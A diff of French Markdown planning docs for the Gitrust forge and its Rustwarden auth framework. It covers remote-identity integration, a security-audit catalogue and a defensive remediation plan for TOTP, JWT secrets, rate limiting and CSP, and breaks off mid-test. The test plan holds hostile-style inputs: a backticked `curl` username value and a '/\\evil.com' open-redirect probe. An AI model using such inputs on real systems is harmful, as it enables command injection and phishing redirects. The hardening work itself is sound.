602 + Identity::Local(uid) => ResourceService::effective_permission_for_user(&db, uid, "repo", repo_id).await?,
603 + Identity::Remote(rid) => RemoteResourceShareService::effective_permission_for_remote_identity(&db, "repo", repo_id, rid).await?,
604 +};
605 +```
606 +
607 +**A consommer** : Lot 5.1 du plan fediverse, quand on activera le scenario "collaborateurs repo cross-instance".
608 +
609 +### ~~9.2 Personal Access Tokens pour identites remote~~ — RESOLU 2026-05-15 (RFC upstream 0030)
610 +
611 +**RFC gitrust** : [docs/rfcs/0002-fediverse-remote-personal-access-tokens.md](rfcs/0002-fediverse-remote-personal-access-tokens.md). Score 34/35.
612 +
613 +**Solution upstream** : nouveau service `rustwarden_fediverse::services::remote_personal_access_token_service::RemotePersonalAccessTokenService<S>` + table `fediverse_personal_access_tokens` (migration `m20260516_000003_remote_pat`). Prefixe token distinct : `rwfed_pat_<64 hex>`.
614 +
615 +**API a consommer cote gitrust** (Lot 5.3 du plan fediverse) :
616 +```rust
617 +// Discrimination par prefixe :
618 +if plaintext.starts_with("rwfed_pat_") {
619 + RemotePersonalAccessTokenService::<GitrustScope>::verify(&db, &plaintext).await?
620 + .map(|(m, s)| (Identity::Remote(m.remote_identity_id), s))
621 +} else {
622 + PersonalTokenService::<GitrustScope>::verify(&db, &plaintext).await?
623 + .ok()
624 + .map(|(m, s)| (Identity::Local(m.user_id), s))
625 +}
626 +```
627 +
628 +### ~~9.3 Membership de team avec une identite remote~~ — RESOLU 2026-05-15 (approche alternative upstream)
629 +
630 +**RFC gitrust** : [docs/rfcs/0003-fediverse-remote-team-memberships.md](rfcs/0003-fediverse-remote-team-memberships.md). Score 33/35. **Statut** : superseded.
631 +
632 +**Decision upstream** : la RFC 0003 a ete **rejetee dans sa forme initiale** (table separee `fediverse_team_memberships`) au profit d'une **approche pragmatique alternative** :
633 +
634 +- **Migration `m20260510_000016` framework** : `team_members.user_id` rendu NULLABLE + PK historique `(team_id, user_id)` remplacee par PK synthetique `id: Uuid`.
635 +- **Migration `m20260510_000015` framework** : nouvel index partial unique `team_members_remote_unique` sur `(team_id, remote_identity_id) WHERE remote_identity_id IS NOT NULL`.
636 +- **API `TeamService::add_member_identity(db, team_id, identity: Identity, role, hooks)`** Identity-aware : pour `Identity::Local` delegue a `add_member` ; pour `Identity::Remote` insere une row avec `user_id = NULL` et `remote_identity_id = Some(rid)`. Declenche `on_team_member_added` dans les deux cas.
637 +- **`FediverseInviteService::accept(db, invite_id, remote_id)`** materialise effectivement la membership a l'acceptation d'une invite cross-instance (auparavant silent no-op de la RFC 0014).
638 +- **`FediverseSignalService::apply_revoke_membership(db, team_id, remote_id)`** drop la row team_members correspondante quand un `Revoke{Membership}` AP entre.
639 +
640 +**Argument upstream** : pour les memberships, la semantique `team ↔ identity` est identique peu importe la nature du principal — donc l'extension de la table existante est plus pragmatique que la creation d'une table separee (comme pour resource_shares et PAT, ou la semantique d'ownership remote est distincte).
641 +
642 +**Contournement applique cote gitrust** : aucun. **Consommer directement l'API upstream** :
643 +```rust
644 +// Ajouter une identite (locale OU remote) a une team :
645 +TeamService::add_member_identity(
646 + &db, team_id, Identity::Remote(remote_identity_id), role, &hooks,
647 +).await?;
648 +
649 +// Lister tous les membres (locaux + remote en une requete) :
650 +let members = TeamService::list_members(&db, team_id).await?;
651 +// Chaque team_member::Model expose user_id: Option<Uuid> + remote_identity_id: Option<Uuid>
652 +```
653 +
654 +**Audit obligatoire** : la migration `m20260510_000016` a rendu `team_members.user_id` NULLABLE. **Toute requete SQL gitrust qui supposait `user_id NOT NULL` doit etre corrigee**. Verifie au Lot 0 :
655 +- [crates/gitrust-web/src/handlers/user_teams.rs:411, 416, 478](../crates/gitrust-web/src/handlers/user_teams.rs) — skip-and-continue les remote.
656 +- [crates/gitrust-web/src/handlers/admin_teams.rs:164, 169](../crates/gitrust-web/src/handlers/admin_teams.rs) — idem.
657 +- [crates/gitrust-web/src/handlers/user_teams.rs:49, 365](../crates/gitrust-web/src/handlers/user_teams.rs) — `find_by_id((tuple))` → `find().filter().filter()` (PK synthetique).
658 +
659 +**A finaliser** : Lot 5.4 du plan fediverse — adapter `RepositoryService::effective_role_via_teams_for_identity` cote gitrust-core pour interroger `team_members` avec un filtre `user_id OR remote_identity_id` selon l'`Identity` presentee.
660 +
661 +### ~~9.4 `AuthService` optional-auth fallback `AuthConfig::from_env()`~~ — RESOLU 2026-05-16 (RFC upstream 0031)
662 +
663 +**RFC gitrust** : [docs/rfcs/0031-auth-service-optional-fallback.md](rfcs/0031-auth-service-optional-fallback.md). Score 34/35.
664 +
665 +**Probleme** : la branche "optional auth" du middleware `AuthService` ne faisait pas le fallback `AuthConfig::from_env()` quand `Extension(Arc<AuthConfig>)` etait absent des request.extensions (cas typique selon l'ordre des layers tower). Resultat : claims jamais injectes pour les routes hors `protected_prefixes` (e.g. `/dashboard`), redirect silencieux vers `/login` malgre un cookie JWT valide.
666 +
667 +**Solution upstream** : alignement de la branche optional avec la branche protected — fallback `AuthConfig::from_env()` ajoute. Cf. [auth_service.rs:331](../crates/rustwarden-core/src/middleware/auth_service.rs#L331) "RFC 0031: mirror the protected branch fallback...".
668 +
669 +**Contournement applique cote gitrust** : prefixes reenregistres en 2026-09-17 (audit F-AUTH / plan A3) dans `src/main.rs` : `/dashboard`, `/settings`, `/teams`, `/notifications`, `/new`, `/imports`. A conserver jusqu'au merge du RFC A3 + `update-project`.
670 +
671 +---
672 +
673 +## Catalogue audit securite 2026-09-17 (PRs / RFC rustwarden)
674 +
675 +Frontiere : **ne jamais patcher `crates/rustwarden-core/`**. Chaque gap ci-dessous a un workaround Gitrust deja en place. Ouvrir les tickets dans le depot Rustwarden (`~/Documents/devel/Rustwarden`), puis `update-project`.
676 +
677 +### PRs Security (pas de RFC — bug interne ou liste de hardening)
678 +
679 +| ID | Constat | Action upstream | Workaround Gitrust |
680 +|----|---------|-----------------|--------------------|
681 +| E-3 | Anti-brute-force TOTP compte les challenges, pas les essais | Sommer `attempts` sur 15 min, plafond global (ex. 15) | Rate-limit `totp:<user>` + IP sur `POST /login/2fa` |
682 +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` absent de `KNOWN_EXAMPLES` | Ajouter le marqueur Gitrust (et variantes CHANGE/EXAMPLE/TODO) a `KNOWN_EXAMPLES` dans `config/auth.rs` | Garde `reject_placeholder_jwt_secret()` dans `src/main.rs` |
683 +| M-3 | Rate limit email inerte (nouvelle instance par requete) | Limiteur partagé (static / injecté) pour `PasswordResetService` / `EmailValidationService` | `OnceLock<PasswordResetService>` + limiteur IP |
684 +| M-8 | `bcrypt::verify` synchrone sur backup codes | `spawn_blocking` + comparaison sans court-circuit | Couvert par le rate-limit TOTP |
685 +| M-2 | `PasswordResetService::reset_password` n'appelle pas la complexité | Appeler `validate_password_complexity` dans le service (si traité comme bug) | Validation Gitrust avant `hash_password` / reset |
686 +| E-12 | bumps `bcrypt` / `rustls` / `h2` | Bump dans le `Cargo.toml` framework | `russh` 0.60.3 cote gitrust-ssh ; audit Dagger `--deny warnings` |
687 +
688 +### RFC (changement d'API, de defaut, de schema ou de politique de secu)
689 +
690 +| ID | Constat | Nature RFC | Workaround Gitrust |
691 +|----|---------|------------|--------------------|
692 +| M-1 | `username` non valide | Validation charset dans `UserService::create_user` + `RegisterRequest` | Newtype `Username` avant tout appel framework |
693 +| M-10 | CSP `unsafe-inline` + `unsafe-eval` | Politique de secu par defaut, ou API `security_headers_config` additive | `SetResponseHeaderLayer::overriding` + JS externe |
694 +| M-5 | Changement d'email conserve `email_verified` | Flux confirmation + alerte ancienne adresse (schema probable) | Handler profil refuse le changement d'email |
695 +| M-7 | Pas d'anti-rejeu TOTP | Colonne `last_used_step` (migration) | `RateLimitService` `totp_code:{user}:{code}` 90 s |
696 +| E-4 | `AuthService` ignore `validation_email_required` | Refus par defaut des emails non verifies | Check Gitrust apres `authenticate_user` |
697 +| E-2 | Limiteur login seulement sur `/api/v1/auth/login` | Exposer le limiteur aussi sur le canal browser | `OnceLock<RateLimitService>` SSR |
698 +| F-UI | En-tetes COOP/CORP | En-tetes securite configurables | Override Gitrust (`same-origin`) |
699 +
700 +Gitrust n'attend **pas** ces RFC pour se proteger : les workarounds des lots 1–4 ferment les scenarios A–D.
701 +
702 +---
703 +
704 +## Protocole de remontee upstream
705 +
706 +Quand une amelioration est mergee upstream :
707 +1. Ajouter une ligne dans `CHANGELOG.md` cote gitrust : `resolved upstream: <nom>`.
708 +2. Supprimer la section correspondante de ce fichier.
709 +3. Creer un ticket de migration si necessaire (decompactage du workaround + bump de version).
710 +
711 +Les sections restent dans ce fichier tant que l'amelioration n'est pas dispo en release stable du framework — c'est la source unique pour eviter d'oublier un workaround actif.
A docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md
+1131 -0
@@ -0,0 +1,1131 @@
1 +# Sécurisation upstream Rustwarden — audit Gitrust 2026-09-17
2 +
3 +> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
4 +
5 +**Goal:** Fermer, dans le dépôt framework Rustwarden, tous les constats d’audit qui relèvent de `rustwarden-core` / `rustwarden-ui` / CLI / `database/`, sans toucher à la logique métier forge (Gitrust).
6 +
7 +**Architecture:** Deux trains distincts. (1) **Patch Security `1.0.1`** : bugs internes, listes de hardening, bumps de deps — aucune RFC, **aucun nouvel item `pub` nommé**, release patch. Inclut un garde anti-rejeu TOTP *in-process* (ferme le Scénario D sans migration). (2) **RFCs 0036–0040** puis implémentation : politique de sécurité, schéma DB, comportement par défaut, persistance multi-instance. Les workarounds Gitrust restent valides jusqu’à `update-project`.
8 +
9 +**Tech Stack:** Axum 0.8, SeaORM 2.0, bcrypt, totp-rs 5, tower-http, Askama/HTMX/Alpine (CSP), `RateLimitService` in-process.
10 +
11 +**Sources :** [docs/SECURITY_AUDIT.md](../SECURITY_AUDIT.md), [docs/remediation_audit_securite_ad2eec33.plan.md](../remediation_audit_securite_ad2eec33.plan.md), [docs/UPSTREAM_RUSTWARDEN copy.md](../UPSTREAM_RUSTWARDEN%20copy.md) § catalogue 2026-09-17, [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) §2 / §9 / §11.3.
12 +
13 +**Vérifié sur le code actuel (2026-09-17)** — pas seulement sur l’audit Gitrust. Plusieurs constats Gitrust sont déjà fermés côté UI de référence (`login.html` appelle `POST /api/v1/auth/login`) ; d’autres gaps *non listés* dans le catalogue Gitrust sont confirmés ici (fail-open `force_2fa`, placeholder CLI).
14 +
15 +---
16 +
17 +## RALPLAN-DR (mode délibéré)
18 +
19 +### Principles
20 +
21 +1. **Frontière dépôt** : ce plan ne corrige que Rustwarden. C-1 (`sh -c`), C-3 (`merge_pull`), XSS templates forge, russh, CI, nginx Gitrust restent dans Gitrust.
22 +2. **Processus §2** : bug interne / bump patch → PR Security. Item `pub`, défaut, migration, politique de sécu → RFC (grille ≥ 25/35) avant le code.
23 +3. **Fail-closed** : une erreur d’infra (DB, crypto) ne doit jamais *accorder* un droit (2FA, email vérifié, JWT).
24 +4. **Dog-fooding** : les gardes vivent dans les *services*, pas seulement dans les handlers API. Un consommateur qui appelle `UserService` / `AuthService` / `PasswordResetService` hérite de la politique.
25 +5. **Non-régression UI** : ne pas retirer `'unsafe-inline'` de la CSP par défaut tant que Alpine CSP n’est pas migré (`docs/plans/PLAN_CSP_HTMX.md`).
26 +
27 +### Decision Drivers
28 +
29 +1. **Fermer le Scénario D (2FA)** pour tous les consommateurs, pas seulement Gitrust.
30 +2. **Empêcher un déploiement « selon le wizard »** avec secret JWT public (C-7).
31 +3. **Ne pas casser les usernames / templates existants** des apps déjà en prod (grandfathering + API additive).
32 +
33 +### Viable Options
34 +
35 +**Option A (retenue, synthétisée après revue Architect) — patch Security immédiat qui ferme déjà le Scénario D, puis RFCs.** Un PR `1.0.1` livrable en jours, adoption 14 jours. Le plafond d’essais TOTP + un cache in-process `(user_id, step)` 90 s ferment le brute-force et le rejeu *sur une instance*. La RFC 0037 n’ouvre plus un chantier urgent : elle **persiste** cette garantie en multi-instance. Username, email, CSP restent en RFC.
36 +
37 +- Pros : Scénario D fermé en 1.0.1 sans migration ; respect du §2 ; Gitrust peut `update-project` tout de suite.
38 +- Cons : deux trains de release ; anti-rejeu in-process inopérant en multi-réplica jusqu’à 0037.
39 +- **Non-goal explicite :** un relais Evilginx *live* (le code n’est présenté qu’une fois au serveur) n’est arrêté ni par 1.0.1 ni par 0037. Decision Driver 1 = brute-force + rejeu du *même* OTP, pas le MITM interactif.
40 +
41 +**Option B — une mega-RFC unique « hardening 2026-09 ».** Tous les changements (y compris bugs) derrière une RFC.
42 +
43 +- Pros : un seul document de décision.
44 +- Cons : retarde E-3 / C-7 / M-3 de semaines ; mélange bugs et politique ; score grille dilué.
45 +
46 +**Option C — ne rien changer au framework, documenter les workarounds.**
47 +
48 +- Pros : zéro risque de breaking.
49 +- Cons : chaque app réimplémente TOTP / JWT / rate-limit ; divergence garantie ; l’audit reviendra.
50 +
51 +**Invalidation B et C :** B viole §2 (« pas de RFC pour un bug sans changement d’API ») et laisse le Scénario D ouvert. C viole le rôle même du framework (politique de sécu centralisée).
52 +
53 +---
54 +
55 +## Périmètre
56 +
57 +### Dans ce dépôt (ce plan)
58 +
59 +| ID audit | Nature | Train |
60 +|----------|--------|-------|
61 +| *(découvert Architect)* | `check_auth_rate_limit` clé `auth:unknown` : pas de `ConnectInfo`, `TRUSTED_PROXY_HOPS=0` ignore XFF | Patch (prérequis Task 3) |
62 +| E-3 | Anti-brute-force TOTP compte les challenges saturés, pas les essais | Patch |
63 +| *(synthèse D)* | Rejeu TOTP in-process (90 s, `OnceLock`) sans colonne DB | Patch |
64 +| C-7 | Placeholder `JWT_SECRET=REMPLACER_…` (36 car.) passe `KNOWN_EXAMPLES` + wizard CLI | Patch |
65 +| M-3 | `RateLimitService` recréé à chaque `PasswordResetService::new` / `EmailValidationService::new` | Patch |
66 +| M-8 | `bcrypt::verify` synchrone sur backup codes | Patch |
67 +| M-2 | `PasswordResetService::reset_password` n’appelle pas `validate_password_complexity` | Patch |
68 +| E-12 collatéral | `bcrypt 0.19.0`, `rustls 0.23.37`, `h2 0.4.13` | Patch |
69 +| *(découvert)* | `is_totp_enabled(...).unwrap_or(false)` dans le middleware force-2FA | Patch |
70 +| *(découvert)* | `POST /api/v1/auth/2fa/verify` sans `check_auth_rate_limit` | Patch |
71 +| *(découvert)* | `ensure_default_admin` n’appelle ni `AdminConfig::validate` ni la complexité | Patch |
72 +| *(découvert)* | `sanitize_redirect` n’normalise pas `\` | Patch |
73 +| E-18 analogue | PG `0.0.0.0:5432` + `POSTGRES_PASSWORD:-pass3ord` | Patch ops |
74 +| M-1 | Username = longueur seulement | RFC 0036 |
75 +| M-7 | Pas de `last_used_step` TOTP | RFC 0037 |
76 +| M-5 | Changement d’email conserve `email_verified` | RFC 0038 |
77 +| M-10 + F-UI | CSP `unsafe-inline`/`unsafe-eval` ; pas de COOP/CORP | RFC 0039 |
78 +| E-4 | `AuthService::authenticate_user` ignore `validation_email_required` | RFC 0040 |
79 +
80 +### Hors périmètre (Gitrust / ops forge)
81 +
82 +C-1, C-2, C-3, C-4, C-5, C-6, C-8, E-1 (handler SSR Gitrust), E-5, E-6, E-7, E-8, E-9, E-10, E-11, E-12 russh, E-13, E-14, E-15, E-16, E-17, E-19, M-4, M-6 (logout SSR Gitrust — **déjà OK** dans rustwarden-ui via `POST /api/v1/auth/logout`), M-9, M-11 (handler Gitrust), M-12–M-25, lots 5–6 deploy Gitrust.
83 +
84 +**E-2** : dans *ce* dépôt, `crates/rustwarden-ui/templates/login.html` appelle déjà `POST /api/v1/auth/login` (rate-limite IP). Le gap E-2 ne concerne que les consommateurs qui ont un `POST /login` SSR maison (Gitrust). Pas de RFC dédiée : documenter le contrat « le limiteur vit sur `/api/v1/auth/*` » dans RFC 0040.
85 +
86 +---
87 +
88 +## Cartographie fichiers
89 +
90 +### Patch Security (`1.0.1`)
91 +
92 +| Fichier | Responsabilité |
93 +|---------|----------------|
94 +| `crates/rustwarden-core/src/app.rs` | `into_make_service_with_connect_info` dans `run()` |
95 +| `crates/rustwarden-core/src/auth/routes.rs` | Layer `pub(crate)` rate-limit IP sur les POST auth sensibles |
96 +| `crates/rustwarden-core/src/config/auth.rs` | `KNOWN_EXAMPLES` (égalité exacte + placeholder CLI) |
97 +| `crates/rustwarden-core/src/services/totp_service.rs` | Somme des `attempts` 15 min ; replay in-process ; `spawn_blocking` backup |
98 +| `crates/rustwarden-core/src/middleware/auth_service.rs` | Fail-closed force-2FA / user lookup / blacklist ; `sanitize_redirect` `\` |
99 +| `crates/rustwarden-core/src/services/password_reset_service.rs` | Limiteur `OnceLock` + éviction cap ; complexité dans `reset_password` |
100 +| `crates/rustwarden-core/src/services/email_validation_service.rs` | Même `OnceLock` (ou jumelle) |
101 +| `crates/rustwarden-core/src/services/default_admin_service.rs` | `validate()` + `PasswordRules` |
102 +| `crates/rustwarden-core/Cargo.toml` + `Cargo.lock` | `bcrypt >= 0.19.2` |
103 +| `tools/rustwarden-cli/src/templates.rs` | `.env.example` : JWT vide + commentaire openssl |
104 +| `database/docker-compose.yml` | Bind `127.0.0.1:5432`, `${POSTGRES_PASSWORD:?}` |
105 +| `CHANGELOG.md` | Entrée `Security` |
106 +
107 +### RFCs puis implémentation
108 +
109 +| RFC | Fichiers d’implémentation (après Accept) |
110 +|-----|------------------------------------------|
111 +| 0036 Username | `crates/rustwarden-core/src/types/username.rs` (nouveau, calqué sur `team_slug.rs`), `user_service.rs`, `auth/handlers.rs` `RegisterRequest` |
112 +| 0037 TOTP replay | `src/migrations/m20260917_000010_totp_last_used_step.rs`, `models/user_totp.rs`, `totp_service.rs` |
113 +| 0038 Email change | `user_service.rs` `update_profile`, éventuellement `email_validation_service.rs` |
114 +| 0039 Headers | `app.rs` `security_headers_middleware` + `config/security_headers.rs` (nouveau) |
115 +| 0040 Email login | `services/auth_service.rs` `authenticate_user` |
116 +
117 +---
118 +
119 +## ADR
120 +
121 +**Decision :** Option A — patch Security `1.0.1` d’abord, RFCs 0036–0040 ensuite, implémentation RFC dans l’ordre M-1 → M-7 → M-5 → E-4 → M-10.
122 +
123 +**Drivers :** Scénario D ouvert aujourd’hui ; C-7 reproductible via le wizard ; processus §2 interdit d’attendre une RFC pour un bug interne.
124 +
125 +**Alternatives considered :** mega-RFC (B), status quo workarounds (C).
126 +
127 +**Why chosen :** maximalise le correctif livrable sous 14 jours sans casser les usernames existants ni Alpine. La synthèse Architect (garde TOTP in-process en patch) retire l’antithèse « Option A ne ferme pas D en 1.0.1 ».
128 +
129 +**Consequences :** Gitrust doit `update-project` après `1.0.1` pour retirer les gardes dupliquées (C-7, E-3 palliatif, OnceLock email). Les RFC restent bloquantes pour retirer les newtypes Gitrust (`Username`) et pour l’anti-rejeu multi-instance.
130 +
131 +**Antithèse (steelman) :** découper patch/RFC tout en classant comme « bug interne » des changements de défaut fait payer le coût du processus sans livrer D. **Réponse :**
132 +
133 +1. Validation admin **seulement** sur le chemin de *création*.
134 +2. 2FA fail-closed = 503, pas un nouveau contrat de login.
135 +3. Anti-rejeu TOTP in-process : restauration du comportement *voulu* (un OTP ≠ N logins) sans item `pub` ni migration — **patch Security**, pas RFC. La RFC 0037 ne fait que persister.
136 +4. Placeholders JWT : **égalité exacte** uniquement (liste + littéral CLI). Pas de `contains("CHANGE-ME")` en 1.0.1 (ça serait un changement de défaut §2 et un faux positif sur une passphrase légitime). Le `contains` éventuel = RFC ultérieure.
137 +5. Layer rate-limit sur `auth_api_routes()` : **zéro** signature de handler `pub` modifiée — l’alternative par extracteur `ConnectInfo` est **rejetée** (déclenchait §2 sur 5 handlers).
138 +
139 +**Follow-ups :** tracking issue consommateurs ; notification 14 jours ; `cargo audit --deny warnings` dans CI après le bump deps.
140 +
141 +---
142 +
143 +## Pre-mortem (3 scénarios)
144 +
145 +### 1. RFC 0036 casse des comptes existants
146 +
147 +**Échec :** `UserService::create_user` refuse `Jean_Dupont` ; une app en prod a déjà ces usernames ; login OK mais `update_profile` échoue ; Gitrust `update-project` cassé.
148 +
149 +**Mitigation :** valider **uniquement** à la création et au changement de username ; ne **pas** ajouter de CHECK SQL sur la table `users` en v1 ; grandfathering documenté ; tests avec username historique `Admin_1`.
150 +
151 +### 2. CSP sans `unsafe-eval` casse l’admin
152 +
153 +**Échec :** Alpine `x-data="{ open: false }"` utilise `new Function()` ; l’UI de référence est muette après le patch.
154 +
155 +**Mitigation :** RFC 0039 = API *additive* `SecurityHeadersConfig` (défaut = CSP actuelle). Retrait de `'unsafe-eval'` seulement après migration Alpine CSP (`PLAN_CSP_HTMX.md` Phase 1), dans un train séparé. Tests HTTP d’en-tête, pas de changement de défaut dans `1.0.1`.
156 +
157 +### 3. `OnceLock` rate-limit fuit entre tests
158 +
159 +**Échec :** un test sature `pwd_reset:foo@bar` ; le test suivant 429.
160 +
161 +**Mitigation :** `RateLimitService::new_shared_for_tests()` ou `#[cfg(test)]` reset ; tests du limiteur sur une instance **locale** injectée, pas seulement le singleton. Le `OnceLock` production reste ; les unit tests de fenêtre glissante restent sur `RateLimitService::new()`.
162 +
163 +---
164 +
165 +## Expanded Test Plan
166 +
167 +### Unit
168 +
169 +- `KNOWN_EXAMPLES` : exact match historiques + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` ; secret hex 64 OK ; secret contenant `CHANGE-ME` **accepté** (pas de `contains` en 1.0.1).
170 +- TOTP : 4 essais × 4 challenges (16) → 15e ou 16e refuse `TotpMaxAttemptsExceeded` ; 14 essais OK.
171 +- Backup codes : `verify_backup_code` ne panique pas si appelé depuis runtime tokio (test async) ; code usagé retiré.
172 +- `validate_password_complexity` appelée par `reset_password` (mot `a` → `Validation`).
173 +- `sanitize_redirect("/\\evil.com")` ne produit pas une URL off-origin.
174 +- `Username::parse` (RFC 0036) : `alice`, rejet `` `curl` ``, `Admin`, `--ab`, `-ab`, `ab-`, `api`.
175 +
176 +### Integration (DB)
177 +
178 +- `create_challenge` / `record_challenge_attempt` / plafond global (Postgres test).
179 +- `PasswordResetService` : 4e `request_reset` en 1 h → 429 **avec la même instance de service clonée depuis le OnceLock**.
180 +- RFC 0037 : second `check_current` du même step → false.
181 +- RFC 0038 : `update_profile` email → `email_verified == false`.
182 +- RFC 0040 : `authenticate_user` + setting `validation_email_required=true` + `email_verified=false` → erreur.
183 +
184 +### E2E / HTTP
185 +
186 +- `POST /api/v1/auth/2fa/verify` sans token IP : 429 après N (même budget que login).
187 +- Middleware force-2FA : si `is_totp_enabled` retourne `Err`, **pas** de 200 sur route protégée (injecter un db mock ou test d’intégration avec DB down n’est pas réaliste — tester via une fonction interne `totp_force_gate(result) -> Result`).
188 +- Headers : `content-security-policy` présent ; après RFC 0039, override consommé.
189 +
190 +### Observability
191 +
192 +- Log `warn` si `JWT_SECRET` rejeté (déjà un `Err` de boot — garder le message actuel).
193 +- Métrique/log TOTP : `tracing::warn` quand plafond global atteint (clé `user_id`, jamais le code).
194 +- `AUTH_LIMITER` 2FA : réutiliser le compteur existant `auth:{ip}` (pas de nouveau dashboard).
195 +
196 +---
197 +
198 +## Phase 0 — Patch Security `1.0.1`
199 +
200 +Ordre d’implémentation : TDD par tâche. Ne pas mélanger RFC et patch dans le même commit logique.
201 +
202 +**Contrainte (non négociable) :** aucun item `pub` **ajouté, modifié ou supprimé**. Helpers `pub(crate)`. `check_auth_rate_limit(headers)` signature inchangée. **Aucune** signature de handler `pub async fn` modifiée.
203 +
204 +Quality gates après **chaque** tâche : `cargo test -p rustwarden-core --lib`, puis en fin de phase `cargo clippy --workspace -- -D warnings` et `cargo audit`.
205 +
206 +**Cause racine IP :** `extract_client_ip_from_headers` (`rate_limit.rs:151-154`) passe `connect_ip: None` ; `TRUSTED_PROXY_HOPS` défaut 0 ignore XFF → clé `auth:unknown`. `run()` (`app.rs:117`) n’attache pas `ConnectInfo`. Les appels handler à `check_auth_rate_limit(&headers)` sont donc un budget **global**.
207 +
208 +---
209 +
210 +### Task 0 : ConnectInfo + layer rate-limit sur `auth_api_routes` (E-2 / E-3 IP)
211 +
212 +**Files:**
213 +- Modify: `crates/rustwarden-core/src/app.rs:117-119` (`run`)
214 +- Modify: `crates/rustwarden-core/src/auth/routes.rs:35-62`
215 +- Modify: `crates/rustwarden-core/src/middleware/rate_limit.rs` — middleware `pub(crate)`
216 +- Test: `crates/rustwarden-core/tests/` (patron `csrf_protection.rs` + `MockConnectInfo`)
217 +- Doc: rustdoc de `into_router()` — le consommateur qui sert le routeur lui-même **doit** appeler `into_make_service_with_connect_info`, sinon le layer retombe sur `unknown` (documenté, pas un DoS nouveau : c’est l’état actuel)
218 +
219 +**Ne pas** ajouter `ConnectInfo` aux handlers. **Ne pas** utiliser `Option<ConnectInfo>` (pas d’`OptionalFromRequestParts` en axum 0.8.8).
220 +
221 +Couverture du layer (POST sensibles seulement) : `/login`, `/register`, `/refresh`, `/forgot-password`, `/2fa/verify`, `/resend-verification`, `/resend-verification/by-username`. **Hors layer :** `/logout`, `/me`, `/verify-email/{token}`, `/reset-password` (déjà limité par token + Task 6).
222 +
223 +Le layer uniformise le **429** + `Retry-After`. Aujourd’hui `login` propage le 429, mais `refresh` / `forgot_password` / `register` convertissent en `AppError::Validation` (400). Retirer ces appels handler `check_auth_rate_limit` une fois le layer en place. Les paramètres `headers: HeaderMap` qui ne servaient qu’à ça : les **préfixer `_headers`** (sinon `unused_variables` casse `-D warnings`). Ce n’est pas un changement de type de signature.
224 +
225 +**Décision 2FA :** **IP seule** via ce layer. Pas de seconde clé `totp:{user_id}` en 1.0.1 (le plafond E-3 user-level est déjà dans `create_challenge`).
226 +
227 +- [ ] **Step 1: Tests de caractérisation** (code `extract_ip_from_xff_or_connect` **déjà** présent l.124-135 — ces tests **passent** aujourd’hui ; ce n’est pas un cycle TDD rouge). Paramétrer les hops **en argument**, ne pas lire le `OnceLock` :
228 +
229 +```rust
230 +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String {
231 + if hops > 0 {
232 + if let Some(xff_value) = xff {
233 + let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect();
234 + if ips.len() >= hops {
235 + return ips[ips.len() - hops].to_string();
236 + }
237 + }
238 + }
239 + connect.unwrap_or_else(|| "unknown".to_string())
240 +}
241 +
242 +#[test]
243 +fn hops_zero_uses_connect_not_xff() {
244 + assert_eq!(
245 + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0),
246 + "10.0.0.9"
247 + );
248 +}
249 +```
250 +
251 +Refactorer `extract_ip_from_xff_or_connect` pour déléguer à `extract_ip(..., trusted_proxy_hops())` — comportement identique, tests hermétiques.
252 +
253 +- [ ] **Step 2: `run()`**
254 +
255 +```rust
256 +axum::serve(
257 + listener,
258 + self.router.into_make_service_with_connect_info::<std::net::SocketAddr>(),
259 +)
260 +```
261 +
262 +Signature de `run()` inchangée.
263 +
264 +- [ ] **Step 3: Middleware `pub(crate)` + montage dans `auth_api_routes`**
265 +
266 +```rust
267 +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Result<Response, Response> {
268 + let ip = extract_client_ip(&request); // lit ConnectInfo si présent
269 + auth_limiter()
270 + .check(&format!("auth:{ip}"), auth_max_per_minute())
271 + .map_err(|err| err.into_response())?;
272 + Ok(next.run(request).await)
273 +}
274 +```
275 +
276 +Dans `auth_api_routes()` : router « limited » avec `.layer(from_fn(auth_ip_rate_limit))` + merge du router « unlimited » (logout/me/verify-email/reset-password). `from_fn` n’est pas un nouvel item `pub`.
277 +
278 +- [ ] **Step 4: Test d’intégration OBLIGATOIRE** (harness : `crates/rustwarden-core/tests/csrf_protection.rs`)
279 +
280 +```rust
281 +use axum::extract::connect_info::MockConnectInfo;
282 +use tower::ServiceExt;
283 +
284 +#[tokio::test]
285 +async fn auth_limiter_separates_two_connect_ips() {
286 + let app = auth_api_routes()
287 + .layer(MockConnectInfo(SocketAddr::from(([1, 2, 3, 4], 0))))
288 + .with_state(test_db());
289 + // N = RATE_LIMIT_AUTH_PER_MINUTE default 10
290 + // 11 POST /api/v1/auth/login depuis 1.2.3.4 → dernier 429
291 + // même batterie depuis MockConnectInfo 5.6.7.8 → 200 ou 401 métier, PAS 429
292 +}
293 +```
294 +
295 +Deux IP = deux budgets. C’est le **seul** critère qui prouve la disparition de `auth:unknown` sur le chemin nominal. `into_router()` : documenter dans rustdoc ; pas de test E2E (contrat avancé).
296 +
297 +---
298 +
299 +### Task 1 : Rejet des placeholders JWT (C-7)
300 +
301 +**Files:**
302 +- Modify: `crates/rustwarden-core/src/config/auth.rs:84-97`
303 +- Test: même fichier, `#[cfg(test)]` (créer le module s’il n’existe que pour `AuthFailureMode`)
304 +- Modify: `tools/rustwarden-cli/src/templates.rs:610-611`
305 +
306 +- [ ] **Step 1: Write the failing tests**
307 +
308 +Extraire un helper `pub(crate)` testable **sans** `set_var` (les tests `from_env` en parallèle sont flaky) :
309 +
310 +```rust
311 +pub(crate) fn jwt_secret_is_placeholder(secret: &str) -> bool {
312 + const KNOWN_EXAMPLES: &[&str] = &[
313 + "your-very-secret-jwt-key-change-me-in-production-at-least-32-bytes",
314 + "change-me-in-production",
315 + "super-secret-jwt-key",
316 + "my-secret-key",
317 + "REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE",
318 + ];
319 + KNOWN_EXAMPLES.iter().any(|ex| secret == *ex)
320 +}
321 +
322 +#[test]
323 +fn rejects_cli_placeholder() {
